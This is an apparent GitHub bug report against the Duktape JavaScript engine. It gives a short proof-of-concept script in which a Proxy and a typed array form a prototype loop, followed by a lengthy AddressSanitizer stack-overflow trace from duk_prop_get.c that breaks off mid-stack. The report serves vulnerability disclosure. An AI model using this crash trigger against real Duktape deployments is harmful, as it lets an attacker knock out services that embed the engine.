Skip to content

stack-overflow on duk_prop_get.c #2578

Description

@brunogoliveira-ufpr

Build
commit 50af773b1b32067170786c2b7c661705ec7425d4

OS
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux

PoC

var v1 = new Uint8Array(Uint8Array, Uint8Array, Uint8Array);
var v3 = new Int8Array();
var v5 = new Proxy(v3, v1);
v1.__proto__ = v5;
for (var v6 = 0; v6 < 5; v6++) {
    v5.arguments &= v6;
}

Output

AddressSanitizer:DEADLYSIGNAL
=================================================================
==838976==ERROR: AddressSanitizer: stack-overflow on address 0x7fffff7fef28 (pc 0x55555561b186 bp 0x7fffff7ff770 sp 0x7fffff7fef30 T0)
    #0 0x55555561b186 in __asan_memcpy (/home/kali/JSEs/duktape-latest/build/duk-clang-asan+0xc7186) (BuildId: c1aa1ff8308a86c81dd61a13fdc189524a3d7068)
    #1 0x55555566f407 in duk_push_tval /home/kali/JSEs/duktape-latest/duk_api_stack.c:4318:2
    #2 0x55555567b6f1 in duk_push_hobject /home/kali/JSEs/duktape-latest/duk_api_stack.c:6021:2
    #3 0x5555557d1e09 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1235:3
    #4 0x5555557d1e09 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #5 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #6 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #7 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #8 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #9 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #10 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #11 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #12 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #13 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #14 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #15 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #16 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #17 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #18 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #19 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #20 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #21 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #22 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #23 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #24 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #25 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #26 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #27 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #28 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #29 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #30 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #31 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #32 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #33 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #34 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #35 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #36 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #37 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #38 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #39 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #40 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #41 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #42 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #43 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #44 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #45 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #46 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #47 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #48 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #49 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #50 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #51 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #52 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #53 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #54 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #55 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #56 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #57 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #58 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #59 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #60 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #61 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #62 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #63 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #64 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #65 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #66 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #67 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #68 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #69 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #70 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #71 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #72 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #73 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #74 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #75 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #76 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #77 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #78 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #79 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #80 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #81 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #82 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #83 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #84 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #85 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #86 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #87 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #88 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #89 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #90 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #91 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #92 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #93 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #94 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #95 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #96 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #97 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #98 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #99 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #100 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #101 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #102 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #103 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #104 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #105 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #106 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #107 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #108 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #109 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #110 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #111 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #112 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #113 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #114 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #115 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #116 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #117 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #118 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #119 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #120 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #121 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #122 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #123 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #124 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #125 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #126 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #127 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #128 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #129 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #130 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #131 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #132 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #133 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #134 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #135 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #136 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #137 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #138 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #139 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #140 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #141 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #142 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #143 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #144 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #145 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #146 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #147 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #148 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #149 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #150 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #151 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #152 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #153 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #154 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #155 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #156 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #157 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #158 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #159 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #160 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #161 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #162 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #163 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #164 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #165 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #166 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #167 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #168 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #169 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #170 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #171 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #172 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #173 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #174 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #175 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #176 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #177 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #178 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #179 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #180 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #181 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #182 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #183 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #184 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #185 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #186 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #187 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #188 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #189 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #190 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #191 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #192 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #193 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #194 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #195 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #196 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #197 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #198 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #199 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #200 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #201 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #202 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #203 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #204 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #205 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #206 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #207 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #208 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #209 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #210 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #211 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #212 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #213 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #214 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #215 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #216 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #217 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #218 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #219 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #220 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #221 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #222 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #223 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #224 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #225 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #226 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #227 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #228 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #229 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #230 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #231 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #232 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #233 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
